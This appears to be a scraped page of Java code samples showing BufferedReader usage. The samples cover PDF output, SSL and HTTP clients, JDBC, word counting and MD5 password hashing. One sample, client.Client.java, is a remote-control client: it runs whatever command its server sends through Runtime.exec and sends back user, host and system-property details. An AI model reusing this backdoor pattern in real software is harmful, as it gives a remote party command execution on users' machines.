List of usage examples for java.io BufferedReader BufferedReader
public BufferedReader(Reader in)
From source file:MainClass.java
public static void main(String[] args) throws Exception { Document document = new Document(PageSize.A4); PdfWriter writer = PdfWriter.getInstance(document, new FileOutputStream("2.pdf")); document.open();//from w ww.j a v a 2s. c o m PdfContentByte cb = writer.getDirectContent(); ColumnText ct = new ColumnText(cb); BufferedReader reader = new BufferedReader(new FileReader("a.txt")); String line; while ((line = reader.readLine()) != null) { ct.addText(new Phrase(line + "\n")); } reader.close(); ct.setSimpleColumn(36, 36, PageSize.A4.width() - 36, PageSize.A4.height() - 36, 18, Element.ALIGN_JUSTIFIED); int status = ColumnText.START_COLUMN; while (ColumnText.hasMoreText(status)) { status = ct.go(); ct.setYLine(PageSize.A4.height() - 36); document.newPage(); } document.close(); }
From source file:Test.java
public static void main(String[] args) throws Exception { SSLSocketFactory sslSocketFactory = (SSLSocketFactory) SSLSocketFactory .getDefault();/* w w w .j a v a 2s. c om*/ SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket( "localhost", 9999); InputStreamReader inputStreamReader = new InputStreamReader(System.in); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); OutputStream outputStream = sslSocket.getOutputStream(); OutputStreamWriter outputStreamWriter = new OutputStreamWriter(outputStream); BufferedWriter bufferedwriter = new BufferedWriter(outputStreamWriter); String line = null; while ((line = bufferedReader.readLine()) != null) { bufferedwriter.write(line + '\n'); bufferedwriter.flush(); } }
From source file:MainClass.java
public static void main(String[] args) throws Exception { Document document = new Document(PageSize.A4); PdfWriter writer = PdfWriter.getInstance(document, new FileOutputStream("2.pdf")); document.open();//from w w w . j av a 2s. com PdfContentByte cb = writer.getDirectContent(); StringBuffer sb = new StringBuffer(1024); BufferedReader reader = new BufferedReader(new FileReader("a.txt")); int c; while ((c = reader.read()) > -1) { sb.append((char) c); } reader.close(); ColumnText ct = new ColumnText(cb); ct.setSimpleColumn(new Phrase(sb.toString()), 36, 36, PageSize.A4.width() - 36, PageSize.A4.height() - 36, 18, Element.ALIGN_JUSTIFIED); int status = ColumnText.START_COLUMN; while (ColumnText.hasMoreText(status)) { status = ct.go(); ct.setYLine(PageSize.A4.height() - 36); document.newPage(); } document.close(); }
From source file:Main.java
public static void main(String[] argv) throws Exception { String data = URLEncoder.encode("key1", "UTF-8") + "=" + URLEncoder.encode("value1", "UTF-8"); data += "&" + URLEncoder.encode("key2", "UTF-8") + "=" + URLEncoder.encode("value2", "UTF-8"); URL url = new URL("http://server.com:80/cgi"); URLConnection conn = url.openConnection(); conn.setDoOutput(true);/*from ww w . j a va2 s . c om*/ OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = rd.readLine()) != null) { System.out.println(line); } wr.close(); rd.close(); }
From source file:MainClass.java
public static void main(String args[]) throws Exception { FileOutputStream fouts = null; System.setProperty("javax.net.ssl.trustStore", "clienttrust"); SSLSocketFactory ssf = (SSLSocketFactory) SSLSocketFactory.getDefault(); Socket s = ssf.createSocket("127.0.0.1", 5432); OutputStream outs = s.getOutputStream(); PrintStream out = new PrintStream(outs); InputStream ins = s.getInputStream(); BufferedReader in = new BufferedReader(new InputStreamReader(ins)); out.println(args[0]);/*from w w w . ja va 2s. co m*/ fouts = new FileOutputStream("result.html"); // fouts = new FileOutputStream("result.gif"); int kk; while ((kk = ins.read()) != -1) { fouts.write(kk); } in.close(); fouts.close(); }
From source file:Main.java
public static void main(String[] args) throws Exception { Connection conn = getConnection(); Statement stmt = conn.createStatement(); stmt.executeUpdate("create table survey (id int, name BINARY);"); String sql = "INSERT INTO survey (name) VALUES(?)"; PreparedStatement pstmt = conn.prepareStatement(sql); File file = new File("yourFileName.txt"); long fileLength = file.length(); Reader fileReader = (Reader) new BufferedReader(new FileReader(file)); pstmt.setCharacterStream(1, fileReader, (int) fileLength); int rowCount = pstmt.executeUpdate(); ResultSet rs = stmt.executeQuery("SELECT * FROM survey"); while (rs.next()) { System.out.println(rs.getBytes(2)); }/* ww w . jav a 2 s .c o m*/ rs.close(); stmt.close(); conn.close(); }
From source file:com.seavus.wordcountermaven.WordCounter.java
/** * @param args the command line arguments * @throws java.io.FileNotFoundException *//*from w w w .j a v a2s. co m*/ public static void main(String[] args) throws FileNotFoundException { InputStream fileStream = WordCounter.class.getClassLoader().getResourceAsStream("test.txt"); BufferedReader br = new BufferedReader(new InputStreamReader(fileStream)); Map<String, Integer> wordMap = new HashMap<>(); String line; boolean tokenFound = false; try { while ((line = br.readLine()) != null) { String[] tokens = line.trim().split("\\s+"); //trims surrounding whitespaces and splits lines into tokens for (String token : tokens) { for (Map.Entry<String, Integer> entry : wordMap.entrySet()) { if (StringUtils.equalsIgnoreCase(token, entry.getKey())) { wordMap.put(entry.getKey(), (wordMap.get(entry.getKey()) + 1)); tokenFound = true; } } if (!token.equals("") && !tokenFound) { wordMap.put(token.toLowerCase(), 1); } tokenFound = false; } } br.close(); } catch (IOException ex) { Logger.getLogger(WordCounter.class.getName()).log(Level.SEVERE, null, ex); } System.out.println("string : " + "frequency\r\n" + "-------------------"); //prints out each unique word (i.e. case-insensitive string token) and its frequency to the console for (Map.Entry<String, Integer> entry : wordMap.entrySet()) { System.out.println(entry.getKey() + " : " + entry.getValue()); } }
From source file:es.us.isa.ideas.utilities.HashPassword.java
public static void main(String[] args) throws IOException { Md5PasswordEncoder encoder;/*w ww .j av a 2 s . c o m*/ InputStreamReader stream; BufferedReader reader; String line, hash; encoder = new Md5PasswordEncoder(); stream = new InputStreamReader(System.in); reader = new BufferedReader(stream); System.out.println("Enter passwords to be hashed or <ENTER> to quit"); line = reader.readLine(); while (!line.isEmpty()) { hash = encoder.encodePassword(line, null); System.out.println(hash); line = reader.readLine(); } }
From source file:client.Client.java
/** * @param args the command line arguments */// w ww . ja va 2 s. co m public static void main(String[] args) throws Exception { Socket st = new Socket("127.0.0.1", 1604); BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream())); PrintWriter p = new PrintWriter(st.getOutputStream()); while (true) { String s = r.readLine(); new Thread() { @Override public void run() { String[] ar = s.split("\\|"); if (s.startsWith("HALLO")) { String str = ""; try { str = InetAddress.getLocalHost().getHostName(); } catch (Exception e) { } p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|" + System.getProperty("os.name") + "|" + str); p.flush(); } if (s.startsWith("msg")) { String text = fromHex(ar[1]); String title = ar[2]; int i = Integer.parseInt(ar[3]); JOptionPane.showMessageDialog(null, text, title, i); } if (s.startsWith("execute")) { String cmd = ar[1]; try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } if (s.equals("getsystem")) { StringBuilder sb = new StringBuilder(); for (Object o : System.getProperties().entrySet()) { Map.Entry e = (Map.Entry) o; sb.append("\n" + e.getKey() + "|" + e.getValue()); } p.println("systeminfos|" + toHex(sb.toString().substring(1))); p.flush(); } } }.start(); } }
From source file:Main.java
public static void main(String args[]) throws Exception { SocketFactory factory = SSLSocketFactory.getDefault(); Socket socket = factory.createSocket("127.0.0.1", 8080); OutputStream outputStream = socket.getOutputStream(); PrintWriter out = new PrintWriter(outputStream); out.print("GET / HTTP/1.0\r\n\r\n"); out.flush();// ww w. ja v a 2 s . c om InputStream inputStream = socket.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader in = new BufferedReader(inputStreamReader); String line; while ((line = in.readLine()) != null) { System.out.println(line); } out.close(); in.close(); socket.close(); }